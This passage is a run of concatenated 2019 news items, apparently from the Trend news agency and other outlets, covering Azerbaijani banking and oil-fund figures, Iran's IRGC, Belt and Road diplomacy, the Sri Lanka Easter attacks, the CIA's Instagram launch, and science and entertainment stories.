and his Uzbek counterpart Abdulaziz Kamilov. As reported, the sides will analyze implementation of large-scale agreements that were concluded following the results of the state visit of Russian President Vladimir Putin to Uzbekistan on October 18-19, 2018. In addition, it is also planned that the sides will exchange views on bilateral cooperation, regional and international issues including the situation in Afghanistan and coordination of efforts to overcome the crisis in this country. Follow author on Twitter:@vakilovfaxri Baku, Azerbaijan, April 26 By Kheyraddin Nasirzade - Trend: There are no prerequisites for growth of the exchange rate of the US dollar against manat in Azerbaijan, Chairman of Central Bank of Azerbaijan Elman Rustamov said at a press conference in Baku on April 26, Trend reports. According to him, the rise in prices of Azerbaijani oil provides replenishment of international currency reserves, which has a positive effect on the stability of the manat. The macroeconomic situation in Azerbaijan is stable, and there is a surplus in the balance of payments, he added. In 2015-2016, as a result of two devaluations in Azerbaijan, the manat exchange rate decreased more than twofold against the US dollar. In 2017, the manat rate strengthened against the US dollar by 4 percent thanks to the monetary policy pursued by the CBA. In the first quarter of 2018, the manat rate against the US dollar strengthened by 0.01 percent and reached the level of 1.7 manats for $1 since March 2018. Follow the author on Twitter: @1nasirzade Baku, Azerbaijan, April 26 By Kheyraddin Nasirzade - Trend: The Central Bank of Azerbaijan (CBA) is proposing to switch to plastic (polymer) banknotes in the future, Chairman of Central Bank of Azerbaijan Elman Rustamov said at a press conference in Baku on April 26, Trend reports. Rustamov noted that cotton paper banknotes lose their original appearance during long-term use and deteriorate over time, and this leads to additional expenses of the Central Bank. The CBA Chairman said that practice of developed countries can be used in the process of switching to polymer banknotes. He added that the turnover of the Azerbaijani manat today is 213 million banknotes worth 8.3 billion manats. Most frequently replaced banknotes in circulation are the banknotes of denomination of 1, 5, 10 and 20 manats. Follow the author on Twitter: @1nasirzade Details added (first version posted at 16:26). Baku, Azerbaijan, April 26 Trend: For the first time in 20 years, the assets of the State Oil Fund of Azerbaijan (SOFAZ) have exceeded $40 billion, Trend informs referring to a report of the fund. According to the report, as of March 31, SOFAZ assets reached $40,273.3 million, which is 4.56 percent more compared to the figure at the beginning of the year ($38,515.2 million). "The volume of assets of the State Oil Fund of Azerbaijan, established in 1999 as a result of the far-sighted policy of national leader Heydar Aliyev and this year celebrating its 20th anniversary, for the first time in its history exceeded $40 billion. The growth of SOFAZ assets is another example of a long-term policy led by President Ilham Aliyev aimed at sustainable economic growth," the fund's report reads. In the 1Q2019, SOFAZ budget revenues amounted to 5,960.7 million manats, while the budget expenditures equaled to 2,640.7 million manats. The fund's revenues from the sale of oil and gas agreements amounted to 4,605.0 million manats, including 3,833.5 million manats from sales of profitable oil and gas, 766.4 million manats from bonus payments and 5.1 million manats of transit revenues. Revenues from managing the fund's assets amounted to 1,355.7 million manats. During the 1Q2019, SOFAZ carried out transfers to the state budget in the amount of 2,615.0 million manats. Some 19.7 million manats were allocated for the implementation of measures to improve the social conditions of refugees and IDPs, and the expenses for managing the fund amounted to 6 million manats. The extrabudgetary expenditures of SOFAZ due to changes in currency rates amounted to 332 million manats. SOFAZ was established in 1999 with assets of $271 million. Based on SOFAZ's regulations, its funds may be used for the construction and reconstruction of strategically important infrastructure facilities, as well as solving important national problems. The main goals of the State Oil Fund include accumulation of resources and placement of assets abroad in order to minimize the negative effect to the economy, prevention of "Dutch disease" to some extent, promotion of resource accumulation for future generations and support of current social and economic processes in Azerbaijan. --- Follow the author on Twitter: @Hasanli_Azad Baku, Azerbaijan, April 26 Trend: Kazakhstan is looking to export electricity to EAEU countries, where it is also a member, Trend reports citing KazInform. The Eurasian Economic Union (EAEU) is an economic union, which includes Armenia, Kazakhstan, Russia, Belarus, Kyrgyzstan. In the last three years the total volume of exported electricity reached 13.789 billion kWh (4 percent of the volume produced). Within the framework of the Eurasian Economic Community's unified electricity market, formation the protocol between EAEU countries is be signed before March 2019. The event is to coincide with the five year anniversary of the Eurasian Economic Community agreement signing, said Kanat Bozumbayev, the minister of energy. The minister also stated that the question of export expansion is in the process of consideration. The expansion of electricity export plans include the EAEU countries, he said. According to the Ministry of Energy, a step-by-step unified electricity market formation is planned. The regulatory framework is being developed by the EAEU countries. We are to create pro-cooperation conditions based on equality, mutual benefits and avoidance of damage to the ecology. In doing so, economical interests of both manufacturers and electricity consumers are to be considered, said the minister. Baku, Azerbaijan, April 26 By Kheyraddin Nasirzade Trend: In January-March 2019, the assets of Azerbaijani banks increased by 0.3 percent, with the growth rates remaining low, Elman Rustamov, Chairman of Central Bank of Azerbaijan (CBA), told journalusts at a press conference in Baku, Trend reports. According to him, the volume of consumer loans issued to households increased by 2.3 percent during the reporting period. This suggests that the existing problems in the banking and real sectors make it difficult to finance the economy through loans, despite the liquidity surplus, Rustamov said. Nevertheless, the stable exchange rate of the Azerbaijani manat helps to reduce dollarization. The CBA Chairman noted that the volume of dollar deposits of individuals in banks dropped from 60.5 to 58.7 percent. Follow the author on Twitter: @1nasirzade Ashgabat, Turkmenistan, April 26 By Huseyn Hasanov Trend: The Organization for Security and Cooperation in Europe (OSCE), with the participation of the United States Agency for International Development (USAID), is holding a roundtable meeting in Ashgabat, Turkmenistan, on plans for the development of renewable energy in the country, Trend reports referring to the Turkmen Foreign Ministry. Representatives of the Ministry of Energy of Turkmenistan and the Turkmen State Energy Institute are also taking part in the event. The parties hold discussions on projects based on government priorities and on their subsequent integration into the national strategy for the development of renewable energy. As part of the energy saving program developed in Turkmenistan for the period up to 2024, emphasis will be made on the construction of solar power plants. Turkmenistan is rich in solar energy and desert sand, which contains silicon. The country aims to export silicon, which is the basic chemical element for the creation of equipment that allows to obtain environmentally friendly electricity, to the global market. Local scientists talk about the possibilities of using solar energy in automobile transport enterprises, the economic efficiency of using renewable energy sources, the development of automation systems for alternative energy sources, and the potential for obtaining thermal energy from used deep wells. In Turkmenistan, the duration of a sunny day reaches 16 hours in July, and the energy of the sun's rays falling on one square meter is 800 watts. There are about 300 sunny days a year in the country, and the duration of sunny days comes to 2500-3000 hours. Tehran, Iran, April 26 Trend: Deputy Director of the Iranian wheat breeding company said that there is no concern about the decline in wheat production referring to the recent floods. "The wheat fields under cultivation can compensate for damage to some farms in flood-affected provinces, Aligholi Imani said, Trend reports citing IRNA. Wheat harvesting started in southern Kerman, Sistan and Baluchestan, Bushehr and Hormozgan provinces and reports show that rainforests in these areas have excellent conditions for producing wheat, he added. "This year, wheat cultivars have increased by two percent compared to the previous year, he said. Even if the wheat production in some provinces drops by two percent, it will not have any effect on reducing production. This year, six million hectares of wheat have been cultivated in the country. According to the Supreme Economic Council, this year, the guaranteed price of each kilogram of wheat will be $0.4. Last year, the guaranteed purchase price of wheat was $0.3 per kilo. Baku, Azerbaijan, April 26 By Azer Ahmadbayli Trend: The huge commercial empire of Iran's Revolutionary Guards (IRGC), huge (mainly illegal) financial flows through the organization, privileged status in society President Trump has put all this at risk with his decision dated April 8, designating IRGC as a "foreign terrorist organization". On April 15, Presidential Decree came into effect. Nearly a week after, Irans Supreme Leader Ayatollah Khamenei appointed General Hossein Salami, a senior commander of IRGC, as the new chief of the military elite force, who has replaced one of Irans most influential Generals Mohammad Ali Jafari. It looks rather strange that the Iranian leadership decided to change horses in midstream. Moreover, Ali Jafari has been separated from the military structure of IRGC and appointed the Head of the organizations Cultural and Social Headquarters, although on April 9, the day after Trumps announcement, he was making loud statements. We powerfully announce, and we are even ready to provide this information to them, that next year, IRGC will be more powerful than before in its defensive and offensive systems with the grace of God, he said, according to Tasnim news agency. It seems that General Jafari had big plans and was not going to leave his post. Also, shortly after the Trumps decision on IRGC was announced, General Ali Nasiri, Head of IRGC's counter-intelligence unit, was taken off his post for unknown reasons. Why are two generals, one of whom was the chief of the all-powerful organization, removed from office immediately after Trumps decree, and what is happening at the senior level of IRGC? The Iranian Constitution calls IRGC the main defender of the Islamic revolution. Not the army, but IRGC. Trump's blow hit the most painful point. This is likely to cause controversy, even within the organization itself, about how to proceed. In 2015, the same dismissed General, Ali Jafari, called the resolution on the Iranian nuclear agreement, which was unanimously approved by the UN Security Council, unacceptable. "Some parts of this document obviously violate the red lines of the Islamic Republic, especially in the field of Iranian military potential. We will never accept it," the General said shortly before the vote in the SC. When circumstances arise that begin to directly threaten the existence of statehood of the Islamic Republic, the difference between reformists and conservatives begins to fade, and joint decisions are made, even painful, that could ease the threat. There were similar cases in the history of the Islamic Republic in 1988, when Tehran realized that resources to continue war with Iraq were running out and its time to end it before its too late, and in 2015, when international sanctions and isolation of Iran nearly led to the collapse of economy forcing the Iranian leadership to sign the nuclear agreement. If there is someone, even the most patriotic one, who disagrees with the joint decision for the current moment, he should leave. Now the threat to the whole state system is again beginning to take shape, and the main reason is the drop in oil exports and, accordingly, the inflow of currency into the country's economy. In April, Irans oil exports are at their lowest level since the beginning of 2019, Reuters reported, referring to data from Refinitiv Eikon and other sources. Earlier, the US special representative for Iran Brian Hook said that more than twenty importers of Iranian oil have completely stopped the purchase. So, how should Iran proceed, considering the circumstances? On Wednesday President Rouhani took half a step towards Washington. He suggested that negotiations with Washington would be possible if it lifts all the pressures, apologizes for its illegal actions, and complies with mutual respect. Rouhani also added that reports that Iran had rejected American offers to negotiate are not true. That is, President of Iran doesnt exclude for his country to come to terms with US at a time when the decision was taken by the US administration to end waivers to buy Irans crude. The same day, Iran's Foreign Minister Mohammad Javad Zarif said in his interview in New York that Iran is ready to swap prisoners with the United States. I put this offer on the table publicly now. [Let's] exchange them, he said. Earlier, Tehran used to refuse similar offers from Washington. It then said, according to the same Zarif, that Iran would be ready to exchange prisoners with the United States if Washington "changes its attitude" to the Islamic Republic. Zarif also suggested possible cooperation with the United States to bring stability to Iraq and Afghanistan, according to the Middle East Monitor. Nearly 40 world leaders and scores of finance officials, including International Monetary Fund Managing Director Christine Lagarde, are gathered in Beijing for Chinas second Belt and Road infrastructure summit, but the World Banks new president isnt among them, reports Trend citing to Reuters David Malpass, fresh from a senior Trump administration post at the U.S. Treasury Department, is instead making his first foreign trip as the World Banks leader to sub-Saharan Africa to highlight his vision for the banks poverty reduction and development agenda. A World Bank spokesman said Malpass will be traveling this weekend to Madagascar, Ethiopia and Mozambique before flying to Egypt and a debt conference in Paris. Malpass has said that Africa is a key priority for the bank due to its high concentration of the worlds poorest people. World Bank Chief Executive Officer Kristalina Georgieva, who had been acting president during the leadership selection process, is representing the institution at the summit and had accepted Chinas invitation before Malpass started at the bank on April 9, the bank spokesman said. Former World Bank President Jim Yong Kim attended Chinas first Belt and Road summit two years ago. Leaders of two of the countries on Malpass trip, Ethiopia and Mozambique, are among a number of African leaders also attending this years summit. Malpass, who was the Treasurys undersecretary for international affairs, is a longtime critic of Chinas Belt and Road lending practices and had worked to raise alarms about them with G7 and G20 countries in that role. In lending, China often fails to adhere to international standards in areas such as anti-corruption, export credits, and finding coordinated and sustainable solutions to payment difficulties, such as those sought in the Paris Club, Malpass told a U.S. House Financial Services subcommittee in December. His absence coincides with a significant downgrade of the Belt and Road summit by the United States as the Trump administration tries to negotiate a deal to resolve longstanding trade and intellectual property disputes with China talks in which Malpass frequently participated. No high-level U.S. officials are attending, a State Department spokesman said, citing similar concerns about Belt and Road debt. Malpass said at the IMF and World Bank spring meetings this month that meeting the development lenders goals of ending extreme poverty by 2030 calls for a focus on Africa. By 2030, nearly 9 in 10 extremely poor people will be Africans, and half of the worlds poor will be living in fragile and conflict-affected settings, he told a news conference at the meetings. This calls for urgent action, by countries themselves, and by the global community. He told reporters on his first day on the job that he wanted to evolve the banks relationship with China to one where Beijing is a bigger contributor of capital and cooperates more closely with the bank on development issues and poverty reduction. But Treasury Secretary Steven Mnuchin, Malpass former boss, on the same day told lawmakers that the World Bank under Malpass leadership and a new U.S. development agency can be a serious competitor to (Chinas) Belt and Road. Two Congress members called on the Department of Homeland Security to admit Israel into a program that allows some of its visitors expedited entry into the United States, reports Trend with reference to Timesofisrael.com Reps. Grace Meng (D-New York) and Brian Mast (R-Florida) sent a letter Wednesday to the acting Homeland Security secretary, Kevin McAleenan, urging him to admit the Jewish state into the Global Entry program for pre-approved, low-risk travelers. The program which enables travelers to the US from select countries to quickly enter the country via self-service kiosks at airports Israels full participation in this program would grow the US economy, strengthen national security at each of our borders, and increase opportunities for people-to-people exchange, which bolsters our already unique bilateral relationship, the letter reads. Israel has been participating in a limited pilot version of the program since 2012. In March, all 100 members of the Senate signed a letter urging the Department of Homeland Security to expedite Israels full membership into the program. Thirteen countries participate in the program: Australia, Canada, Mexico, South Korea, the Netherlands, Panama, Germany, Singapore, the United Kingdom, Colombia, Switzerland, Argentina and India. State-owned Mubadala Investment Company said it has launched a new $1 billion fund, Abu Dhabi Catalyst Partners, to explore opportunities within the United Arab Emirates and abroad, reports Trend referring to Reuters The new fund will be based in Abu Dhabi Global Market (ADGM), the financial centre of Abu Dhabi, and will make use of Mubadalas networks to originate investment opportunities in the region, Mubadala said in a statement. The new fund will target opportunities across asset management, specialty finance and financial infrastructure, with investees expected to have a presence in ADGM, it said. Mubadala manages more than $225 billion in assets and has committed $15 billion to the $100 billion SoftBank Vision Fund. It has equity stakes in companies including General Electric and private equity firm Carlyle Group. Set up in 2015, ADGM is Abu Dhabis financial free zone, home to banks, investment funds, asset managers and tech companies. Major European Union countries want to sign a memorandum of understanding on Chinas Belt and Road initiative as a group and not as individual states, German Economy Minister Peter Altmaier said on Friday, reports Trend with reference to Reuters European countries have generally signaled their willingness to participate in Chinas program to re-create the old Silk Road joining China with Asia and Europe. But key states like France and Germany have said China must in turn improve access and fair competition for foreign firms. Italy in March became the first major Western government to back Chinas initiative, even as some EU leaders cautioned Rome against rushing into the arms of Beijing. Nonetheless, Altmaier said Germany, France, Spain and the United Kingdom had shown at the Belt and Road Forum in Beijing on Friday that the EU was in its great majority united in its belief that we can only implement our positions together. In the big EU states we have agreed that we dont want to sign any bilateral memorandums but together make necessary arrangements between the greater European Economic Area and the economic area of Greater China, Altmaier said when asked if he could see Germany signing a similar bilateral agreement to Italy. The minister said he was encouraged by Chinese President Xi Jinpings pledge to pursue free trade, multilateralism and sustainability as part of Belt and Road. We will take this promise seriously and make suggestions on how to achieve these goals in both Asia and Europe, he said. China is a partner and a competitor at the same time and the EU must define its interests, Altmaier said. And for that we need an industry strategy. For that we need our own connectivity strategy, he added. Britain is committed to help realize the potential of Chinas Belt and Road Initiative (BRI), British finance minister Philip Hammond said on Friday, describing the policy as a vision, reports Trend citing to Reuters Speaking at a summit in Beijing on Chinas program to re-create the old Silk Road joining China with Asia and Europe, Hammond said the BRI must work for everyone for it to turn into a sustainable reality and he offered British expertise in project financing. The Belt and Road Initiative has tremendous potential to spread prosperity and sustainable development, touching as it does, potentially 70 percent of the worlds population, a project of truly epic ambition, Hammond said. The U.K. is committed to helping to realize the potential of the BRI and to doing so in way that works for all whose lives are touched by the project, he added. The BRI is an extraordinarily ambitious vision, Hammond said. To turn that vision into a sustainable reality, it must work for everyone involved. Britain is eager to forge closer ties with Beijing. The worlds fifth-biggest economy will look to re-invent itself as a global trading nation after it leaves the European Union - though it remains unclear when there will be Brexit. Britain and China will hold the next round of their Economic and Financial Dialogue (EFD) in mid-June in London, Hammond said on Thursday, after months of media reports that talks had been delayed by diplomatic tension. In the past, the EFD has been used to announce closer cooperation on trade and banking initiatives, and to sign commercial contracts. Speaking later to reporters, Hammond said he hoped to see progress on the Shanghai-London stock connect plan and other projects, though he did not give details. STRAINED TIES However, relations between London and Beijing have been strained in recent years, most notably after a British warship sailed close to islands claimed by China in the disputed South China Sea last August. Prior to that, China and Britain, which have talked of a golden era of relations, had agreed to look at the possibility of reaching a top notch post-Brexit free trade deal that promised an important political win for the British government. Hammond said while the two countries didnt always agree on everything, relations were back on track. I agreed yesterday a long agenda with Vice Premier Hu Chunhua and Im confident that out of that agenda there will be significant deliverables when we meet in London in June, he told reporters. Amid the upheavals on the domestic front after parliament three times rejected the Brexit deal negotiated by Prime Minister Theresa May and other EU leaders, Britain has increasingly looked to China, including the Belt and Road. To unlock that private finance and reassure investors, a recognized infrastructure asset class for Belt and Road projects must be created, with standardized contract terms and dutiful reporting that global investors will recognize and trust, Hammond told the summit. To support the sheer scale of the initiative, private finance will need to play a bigger role in the infrastructure projects, he added. Our offer is to bring together the best of Chinese manufacturing, engineering and construction, with the best of British project design and legal, technical and financial services expertise, as we promise the golden era of U.K.-China relations to deliver world class sustainable infrastructure for the 21st century, he said. The Schengen Area should be reviewed, and a number of countries should possibly be excluded from it, French President Emmanuel Macron said Thursday, Trend reports citing Sputnik. "The famous Schengen agreement no longer works Europe [that I believe in] keeps its borders, protects them, in this Europe there is a reasonable right to refugee status, and responsibility accompanies solidarity It is on this basis that it is necessary to reform the Schengen area," Macron told a press conference, saying that is should not be ruled out that after the revision there would be less states in the Schengen at the expense of those countries that "do not want to ensure common borders." He also stressed that it was necessary to completely restructure the development policy and migration policy. It was not for the first time when the French President shared hiw views on the Schengen agreement. Earlier in April Macron wrote a newspaper column entitled "European renaissance", where he noted that the Schengen area has to be revised. "The boundary is freedom in security. We therefore need to rethink the Schengen area: all those who want to be part of it should comply with obligations of responsibility (stringent border controls) and solidarity (one asylum policy with the same acceptance and refusal rules)," Macron wrote. Since 2015, Europe has been experiencing its worst migration crisis in recent history, struggling to accommodate hundreds of thousands of refugees and migrants fleeing hostilities in Middle Eastern and North African countries. Hundreds of thousands of migrants are trying to reach EU states using various routes, mostly via Greece or Italy. Baku, Azerbaijan, April 26 By Rufiz Hafizoglu Trend: Armenia did not open its archives of 1915, Turkish Foreign Ministry spokesman Hami Aksoy said, Trend reports with reference to Turkish media on April 26. He said that Armenia opened only a part of the archives that supports the Armenian claims regarding the events of 1915. Earlier, a source of the Turkish government told Trend that Armenia is afraid to open its archives from 1915. According to the source, opening the archives will show the world that the events of 1915 were not "Armenian genocide"; on the contrary, an extermination and genocide of the Muslim population of the Ottoman Empire by Armenian gangs occurred during the events in 1915. The Turkish government noted that Ankara appealed to Yerevan back in 2005 to open the archives from 1915 and create a joint independent committee for investigating the events of that period. "If the events of 1915 were indeed the 'Armenian genocide' , Yerevan would be ready to open these archives," the governmental representative said. Armenia and the Armenian lobby claim that Turkey's predecessor, the Ottoman Empire, allegedly carried out "genocide" against the Armenians living in Anatolia in 1915. Follow the author on Twitter: @rhafizoglu As of Thursday morning, the USs Central Intelligence Agency has launched its very own Instagram account, verification badge and all, Trend reports citing The Verge. The launch came as no real surprise seeing as CIA Director Gina Haspel announced last week that the intelligence agency would begin building out a presence on the photo-sharing platform during a talk at Auburn University in Alabama. The CIA already boasts sizable followings on other platforms like Facebook and Twitter, but had yet to make the jump over to Instagram until today. Joining Instagram is another way were sharing CIAs stories and recruiting talented Americans to serve here, CIA spokesperson Chelsea Robinson told The Verge. Through the account, well give a peek into Agency life, but we cant promise any selfies from secret locations. Were looking to spark the curiosity of Instagrams users about the many ways CIAs global mission has us going where others cannot go and doing what others cannot do. In a statement to The Verge on Monday, Instagram confirmed that it helped the CIA launch the account. Our team worked with the CIA, as they do with many partners, to provide best practices and guidance when it comes to launching an Instagram account, a spokesperson said. Platforms like Instagram and Twitter often help lawmakers, congressional committees, and even intelligence and law enforcement agencies set up their accounts. The agencys first post is a staged photo of an Agency officers desk. It fits the stereotypical Instagram influencer aesthetic just about right as the photos filled with house plants, stationery, and inspirational quotes like an I want to travel the world coin bank sitting atop the desk. The image is also a goofy I spy game, with Easter eggs hidden all over the desk and chair. There are three maps of China, Russia, and Iran spread across the desk. A Moleskine notebook is opened up with the words We share what we can and protect what we must, visibly written on one page. Haspels first CIA badge photo from 1985 dangles from a jacket, next to a wig that looks more like something youd use to clean the agencys cafeteria floors. The CIAs mission statement is written in the accounts bio. We are the Nations first line of defense. We accomplish what others cannot accomplish and go where others cannot go, it reads. The account has only about 1,400 followers as of Thursday afternoon, but has quickly drawn the attention of other Instagram users. If you take a quick look at the comments on the first photo, they range from Welcome to IG. Gina Haspel is a rock star! to MK ULTRA being spammed over and over and over again from an account called @ass.pen.official. The embassy urged people to stay away from crowds and places of worship. Before the Easter attacks, foreign intelligence services warned Sri Lankan authorities about upcoming bombings, but countrys intelligence services failed to act on the warning, Trend reports citing Sputnik. The US Embassy in Sri Lanka issued a statement Thursday warning about the possibility of more terror attacks over the upcoming weekend, citing Sri Lankan authorities. "Sri Lankan authorities are reporting that additional attacks may occur targeting places of worship," the embassy tweeted. "Avoid these areas over the weekend, starting tomorrow, April 26th through Sunday, April 28th. Continue to remain vigilant and avoid large crowds," it added. The warning comes in the wake of the Easter Sunday attack, when numerous bombings killed more than 250 people in Christian churches and top-end hotels. The authorities initially reported 359 dead, but later reduced the number, saying the calculation was complicated by the large number of dismembered bodies left by the blasts. According to media reports, Indian intelligence officers warned Sri Lankan authorities about the attacks starting as early as 4 April. On 11 April, a Sri Lankan police official sent a memo to the country's security agencies, outlining the upcoming bombing threat in great detail, including names, addresses and phone numbers of suspects, the New York Times reports. However, many officials did not see the memo, the report says. Sri Lankan President Maithripala Sirisena blamed Defense Secretary Hemasiri Fernando and Police Inspector General Pujith Jayasundara for failing to act on the warnings and called for their resignations. Fernando has already resigned, according to The New York Times report. The attacks have been blamed on Sri Lankan Islamic terror group National Thowheeth Jama'ath ("National Monotheism Organization"), which is believed to have pledged its loyalty to the Daesh terror group. On 23 April, Daesh claimed responsibility for the attacks. On Thursday, Sri Lankan police officials said they believe at least two terrorists who were supposed to take part in the Easter attacks were still on the loose. The police said they have information that another attack is coming, posted the suspects' pictures on social media and urged anyone with information about them to call a hotline. Sri Lankan security services say terrorists might target Sufi shrines, according to the New York Times. Sufism, a mystical branch of Islam, is viewed by radical groups as a form of heresy. The U.S. Treasury Department said on Friday that it had imposed sanctions on Venezuelan Foreign Minister Jorge Arreaza and a Venezuelan judge, Trend reports citing Xinhua. Jorge Arreaza and the female judge, Carol Padilla, were put on the blacklist of Treasury's Office of Foreign Assets Control (OFAC), according to a statement issued by the department. As a result of the sanctions, all property and interests in property of those sanctioned targets that are subject to U.S. jurisdiction will be blocked, and U.S. persons are generally prohibited from engaging in transactions with them, the statement noted. The United States has been pursuing a policy of economic sanctions and diplomatic isolation against the Venezuelan government in support of the opposition leader Juan Guaido. The OFAC last week targeted Central Bank of Venezuela and its director Iliana Josefa Ruzza Teran. In response, Arreaza called U.S. economic and financial sanctions that impact the whole nation represent human rights violations on a grand scale. The U.S. administration recognized Guaido as the nation's "interim president" on Jan. 23, days after Nicolas Maduro was inaugurated for a second term. In response to Washington's support for Guaido, Maduro announced that he was severing "diplomatic and political" ties with the United States. Researchers in the Department of Electrical and Computer Engineering are developing a new technique to better understand the composition of a cancerous tumor. | Image: Getty Images Not all tumors are made alike. A tumor may consist of different populations of cancer cells, each having its own distinct genetic and metabolic profiles. These differences create obstacles for effective cancer therapy because the drugs may suppress one group of cells but leave another intact. A team of researchers from Texas A&M University and the California Institute of Technology (Caltech), are working together to develop a technique to help solve this problem. Dr. Jun Zou, professor in the Department of Electrical and Computer Engineering, and his Ph.D. student Song Xu, worked with Dr. Lihong V. Wang, Ben Professor of Medical Engineering and Electrical Engineering, and his students at Caltech to develop a solution that would allow researchers to assess the level of difference in cancer cell metabolism inside a tumor. Their technique could facilitate the design of effective and personalized treatment strategies by providing useful information for predicting tumor growth, invasion and drug resistance. To assess the metabolic state of the cells, the team looked at what fed them, hemoglobin. This natural oxygen carrier and supplier undergoes a significant color change when it adsorbs or desorbs oxygen. This unique property makes hemoglobin an ideal biocompatible optical-absorption-based oxygen sensor. The oxygen consumption rate (OCR) of a cell (the amount of oxygen consumed by a cell in a certain amount of time) is directly related to its metabolic state. Therefore, measuring the OCRs of single cancer cells will provide a good picture of their metabolic profiles. Malayalam superstar Mohanlal is all set to take directorial plunge with the upcoming 3D film "Barroz - Guardian of D'Gama's Treasure" after four decades of acting. Mohanlal revealed the news via his blog. Calling it the beginning of a new journey in his career, he said that it will be a film shot in 3D and liked by children and adults alike. It's a story set in Portugal. also read Shruti Haasan and Michael Corsale announce break-up in official post: Explaining how the idea of him directing a film took shape, he said that a meeting with Jijo Punnoose, the director of India's fantasy 3D Film "My Dear Kuttichathan", made it possible. Mohanlal wrote "Director T.K. Rajeev Kumar and I had met Jijo to discuss and make a 3D show. He narrated the story of 'Barroz' which I thought would make for a great film. When the discussion came up as to who will direct, I said I will. Jijo encouraged my decision," . The "Drishyam" actor further wrote that the film will be shot in Goa and will feature many international actors. The rest of the cast and crew is yet to be finalised. Last seen playing a character called Stephen Nedumpally in Prithviraj's "Lucifer", Mohanlal currently awaits the release of Suriya-starrer "Kaappaan" in which he has played the role of a Prime Minister. also read Ram Charan Tej is set to work with Bollywood Star Salman Khan " " 'Avengers: Endgame' stars Chris Hemsworth, Chris Evans, Robert Downey Jr., Scarlett Johansson, Jeremy Renner, Mark Ruffalo and Kevin Feige, producer and president of Marvel Studios (extreme left) participate in the Hand And Footprint Ceremony at the TCL Chinese Theatre in Hollywood, California. Alberto E. Rodriguez/Getty Images for Disney In "Avengers: Endgame," the surviving heroes of the Marvel Cinematic Universe (MCU) will square up against the mad titan Thanos but what are their chances for victory? Scientist and author Sebastian Alvarado, Ph.D. knows a thing or two about their powers, having authored "The Science of Marvel," an entertaining and informative breakdown of all the comic book super powers in the MCU and just how they match up with real-life scientific principles Advertisement "I'm very optimistic," Alvarado tells HowStuffWorks via e-mail. "The remaining half of the Avengers is the most experienced, prepared and powerful team. "Between Thor, Captain Marvel, and the Hulk, the Avengers are wielding the power of a god, the sun, and gamma-fueled rage," he adds. "That should be enough for tacticians like Cap and Tony to find an opening while Ant-Man can coordinate several unseen attacks. The one concern I have is that they may be facing off with new foes that they know nothing about. " To refresh, 2018's "Avengers: Infinity War" saw the mad titan finally succeed in collecting all six infinity stones. He locked them into the Infinity Gauntlet and snapped his fingers an act that erased half the life across the universe. It's a devastating moment in the film, reducing several beloved Marvel super heroes to dust. But Alvarado points out that, taken in the context of past extinction events on Earth, the snap didn't do that much damage. "In the 3.5 billion years life has been around, 99.9 percent of all species that ever lived on Earth are already extinct," he says. "That's definitely more than half, but it didn't occur during a snap of a finger. Thanos' snap is just another extinction event." And as for Thanos' reasoning for his attack that it would save an overpopulated and unsustainable universe from true extinction it turns out he's been leaning pretty heavily on outdated 18th century demography. MCU Meets IRL As Alvarado points out in his book, English cleric and economist Thomas Malthus (1766-1824) theorized that a growing human population would outstrip its ability to produce adequate food. However, Malthus never envisioned how advances in agriculture and technology would transform food production and transportation. His predictions of spiraling starvation didn't hold up over the centuries of human history to follow. " " "The Science of Marvel" was published in April 2019. Simon & Schuster | Adams Media That's not to say modern humans (or their MCU counterparts) have achieved a post-scarcity society. Sustainability is still an issue. But if you're going to address sustainability problems across the universe with an almighty gauntlet, why resort to a mass extinction snap? "Imagine being omnipotent with the power of the Infinity Gauntlet and interstellar travel," Alvarado says. "I think we can be a little more creative with that power to sustain life than to just eliminate it. I preferred Thanos' cosmic love affair with Death from the comics. That made more sense since we can all relate to the crazy things we do to impress someone we love." But then again, we are talking about the mad titan here and not the perfectly reasonable titan, so perhaps we should cut big screen Thanos some slack. Not everyone wants to think about quantum physics during a cinematic superhero battle. Sometimes we just need to lose ourselves in the CGI excess of a good Hulk rampage. But for Alvarado, however, the scientific questions are half the fun. "Since I was old enough to pick up a comic book and argue over which hero or villain would win against who and why," he says. "Nothing motivated me more to win such arguments than learning about science. This became a little more serious when I started consulting on these matters during my Ph.D. The only difference there was to communicate the science effectively." By day, Alvarado studies molecular ecology and behavioral neuroscience at Queens College, City University of New York, where he serves as an assistant professor. But, in keeping with his love of science communication through super heroics, he also cofounded the science and communication consulting firm, Thwacke! The company works with films, video game companies and exhibits to ensure that scientific subjects are portrayed more realistically. In "The Science of Marvel," Alvarado weighs in on every corner of the MCU. To account for Groot's amazing growth, he considers how the plant-based alien from "Guardians of the Galaxy" might depend on meristematic cells (undifferentiated cells that become the various organs of a plant) and a super dose of energy through pubescent leaf growth. In pondering the powers of the heart-shaped herb in "Black Panther," he turns to such examples of real-life pharmacology as the use of stimulating and psychoactive herbs in traditional Chinese medicine. The real-world analogs don't necessarily explain everything we see on screen, but they do drive home the fact the natural world packs plenty of weirdness and wonder to rival anything up Tony Stark's sleeve. "I was really surprised by the new fields I had to dip my toes into," Alvarado says. "Like quantum mechanics, nuclear physics, aerospace engineering, etc. For example, Falcon's Redwing in ['Captain America: The Winter Soldier'] could see enemies behind walls, which seemed a little far-fetched until I learned that this is something that can be inferred from antennae detecting long wavelength electromagnetic radiation like WiFi. Other examples include how time, space, gravity and light can be controlled or understood under incredibly controlled experiments. To me, this was like finding out the secrets of every magic trick ever invented." And there are more than enough scientific glimmers in an "Avengers" movie to keep Alvarado thinking. "For the MCU, you can often see them putting together these incredible set pieces inspired by science," he says. "Consider Nidavellir's neutron star that was used to forge Thor's Stormbreaker. I don't need to know what a neutron star is or how impossible it is to contain, but I know it's enough to almost kill a Norse god and pique the interest of a cybernetic raccoon. If I get more curious, I can read a book about it, tweet a scientist, or browse YouTube to learn more. When you realize something like the Avengers can make you curious about the world around you, it's like being a kid." Now That's Testing Your Bladder At three hours, "Avengers: Endgame" is the longest movie in the Marvel Cinematic Universe. The longevity of Earth's continents in the face of destructive tectonic activity is an essential geologic backdrop for the emergence of life on our planet Washington, DC-- The longevity of Earth's continents in the face of destructive tectonic activity is an essential geologic backdrop for the emergence of life on our planet. This stability depends on the underlying mantle attached to the landmasses. New research by a group of geoscientists from Carnegie, the Gemological Institute of America, and the University of Alberta demonstrates that diamonds can be used to reveal how a buoyant section of mantle beneath some of the continents became thick enough to provide long-term stability. "We've found a way to use traces of sulfur from ancient volcanoes that made its way into the mantle and eventually into diamonds to provide evidence for one particular process of continent building," explained Karen Smit of the Gemological Institute of America, lead author on the group's paper, which appears this week in Science. "Our technique shows that the geologic activity that formed the West African continent was due to plate tectonic movement of ocean crust sinking into the mantle." Diamonds may be beloved by jewelry collectors, but they are truly a geologist's best friend. Because they 